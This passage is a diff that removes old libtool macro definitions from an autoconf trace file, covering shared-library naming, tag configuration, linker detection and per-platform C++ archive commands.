- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-AC_MSG_RESULT([$dynamic_linker])
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-])
-m4trace:acinclude.m4:2391: -1- AC_DEFUN([_LT_AC_TAGCONFIG], [AC_ARG_WITH([tags],
- [AC_HELP_STRING([--with-tags@<:@=TAGS@:>@],
- [include additional configurations @<:@automatic@:>@])],
- [tagnames="$withval"])
-
-if test -f "$ltmain" && test -n "$tagnames"; then
- if test ! -f "${ofile}"; then
- AC_MSG_WARN([output file `$ofile' does not exist])
- fi
-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- AC_MSG_WARN([output file `$ofile' does not look like a libtool script])
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- AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile'])
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- if test -z "$LTCFLAGS"; then
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-
- # Extract list of available tagged configurations in $ofile.
- # Note that this assumes the entire list is on one line.
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-
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for tagname in $tagnames; do
- IFS="$lt_save_ifs"
- # Check whether tagname contains only valid characters
- case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in
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- *) AC_MSG_ERROR([invalid tag name: $tagname])
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- esac
-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
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-
- # Update the list of available tags.
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-
- case $tagname in
- CXX)
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
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- (test "X$CXX" != "Xg++"))) ; then
- AC_LIBTOOL_LANG_CXX_CONFIG
- else
- tagname=""
- fi
- ;;
-
- F77)
- if test -n "$F77" && test "X$F77" != "Xno"; then
- AC_LIBTOOL_LANG_F77_CONFIG
- else
- tagname=""
- fi
- ;;
-
- GCJ)
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- AC_LIBTOOL_LANG_GCJ_CONFIG
- else
- tagname=""
- fi
- ;;
-
- RC)
- AC_LIBTOOL_LANG_RC_CONFIG
- ;;
-
- *)
- AC_MSG_ERROR([Unsupported tag name: $tagname])
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
- if test -n "$tagname" ; then
- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- AC_MSG_ERROR([unable to update list of available tagged configurations.])
- fi
-fi
-])
-m4trace:acinclude.m4:2496: -1- AC_DEFUN([AC_LIBTOOL_DLOPEN], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])
-])
-m4trace:acinclude.m4:2504: -1- AC_DEFUN([AC_LIBTOOL_WIN32_DLL], [AC_BEFORE([$0], [AC_LIBTOOL_SETUP])
-])
-m4trace:acinclude.m4:2513: -1- AC_DEFUN([AC_ENABLE_SHARED], [define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([shared],
- [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
- [build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])],
- [p=${PACKAGE-default}
- case $enableval in
- yes) enable_shared=yes ;;
- no) enable_shared=no ;;
- *)
- enable_shared=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
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- enable_shared=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_shared=]AC_ENABLE_SHARED_DEFAULT)
-])
-m4trace:acinclude.m4:2542: -1- AC_DEFUN([AC_DISABLE_SHARED], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_SHARED(no)
-])
-m4trace:acinclude.m4:2552: -1- AC_DEFUN([AC_ENABLE_STATIC], [define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([static],
- [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@],
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- case $enableval in
- yes) enable_static=yes ;;
- no) enable_static=no ;;
- *)
- enable_static=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for pkg in $enableval; do
- IFS="$lt_save_ifs"
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- enable_static=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_static=]AC_ENABLE_STATIC_DEFAULT)
-])
-m4trace:acinclude.m4:2581: -1- AC_DEFUN([AC_DISABLE_STATIC], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_STATIC(no)
-])
-m4trace:acinclude.m4:2591: -1- AC_DEFUN([AC_ENABLE_FAST_INSTALL], [define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([fast-install],
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- [p=${PACKAGE-default}
- case $enableval in
- yes) enable_fast_install=yes ;;
- no) enable_fast_install=no ;;
- *)
- enable_fast_install=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for pkg in $enableval; do
- IFS="$lt_save_ifs"
- if test "X$pkg" = "X$p"; then
- enable_fast_install=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT)
-])
-m4trace:acinclude.m4:2620: -1- AC_DEFUN([AC_DISABLE_FAST_INSTALL], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_FAST_INSTALL(no)
-])
-m4trace:acinclude.m4:2630: -1- AC_DEFUN([AC_LIBTOOL_PICMODE], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-pic_mode=ifelse($#,1,$1,default)
-])
-m4trace:acinclude.m4:2654: -1- AC_DEFUN([AC_PATH_TOOL_PREFIX], [AC_REQUIRE([AC_PROG_EGREP])dnl
-AC_MSG_CHECKING([for $1])
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-[case $MAGIC_CMD in
-[[\\/*] | ?:[\\/]*])
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
-dnl $ac_dummy forces splitting on constant user-supplied paths.
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- ac_dummy="ifelse([$2], , $PATH, [$2])"
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- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
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- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
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-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
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-
-EOF
- fi ;;
- esac
- fi
- break
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- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac])
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
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-else
- AC_MSG_RESULT(no)
-fi
-])
-m4trace:acinclude.m4:2717: -1- AC_DEFUN([AC_PATH_MAGIC], [AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH)
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH)
- else
- MAGIC_CMD=:
- fi
-fi
-])
-m4trace:acinclude.m4:2732: -1- AC_DEFUN([AC_PROG_LD], [AC_ARG_WITH([gnu-ld],
- [AC_HELP_STRING([--with-gnu-ld],
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-AC_REQUIRE([LT_AC_PROG_SED])dnl
-AC_REQUIRE([AC_PROG_CC])dnl
-AC_REQUIRE([AC_CANONICAL_HOST])dnl
-AC_REQUIRE([AC_CANONICAL_BUILD])dnl
-ac_prog=ld
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- case $host in
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- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [[\\/]]* | ?:[[\\/]]*)
- re_direlt='/[[^/]][[^/]]*/\.\./'
- # Canonicalize the pathname of ld
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- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
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- ;;
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- AC_MSG_CHECKING([for GNU ld])
-else
- AC_MSG_CHECKING([for non-GNU ld])
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- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
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- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
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- AC_MSG_RESULT(no)
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-AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld,
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- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
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-with_gnu_ld=$lt_cv_prog_gnu_ld
-])
-m4trace:acinclude.m4:2836: -1- AC_DEFUN([AC_PROG_LD_RELOAD_FLAG], [AC_CACHE_CHECK([for $LD option to reload object files],
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-m4trace:acinclude.m4:2862: -1- AC_DEFUN([AC_DEPLIBS_CHECK_METHOD], [AC_CACHE_CHECK([how to recognise dependent libraries],
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-[lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
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-case $host_os in
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- lt_cv_deplibs_check_method=pass_all
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-beos*)
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-
-bsdi[[45]]*)
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- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
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- ;;
-
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- lt_cv_file_magic_cmd='$OBJDUMP -f'
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-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
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- i*86 )
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- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
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- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
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- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64'
- lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
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- ;;
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- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library'
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- lt_cv_deplibs_check_method=pass_all
- ;;
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-# This must be Linux ELF.
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- lt_cv_deplibs_check_method=pass_all
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- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$'
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-
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- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
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- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
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-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
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-
-sysv4 | sysv4.3*)
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- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]'
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
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- ;;
- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib"
- lt_cv_file_magic_test_file=/lib/libc.so
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- siemens)
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- lt_cv_deplibs_check_method=pass_all
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-file_magic_cmd=$lt_cv_file_magic_cmd
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- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- freebsd[[12]]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- freebsd-elf*)
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[[-]]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- ;;
- *)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
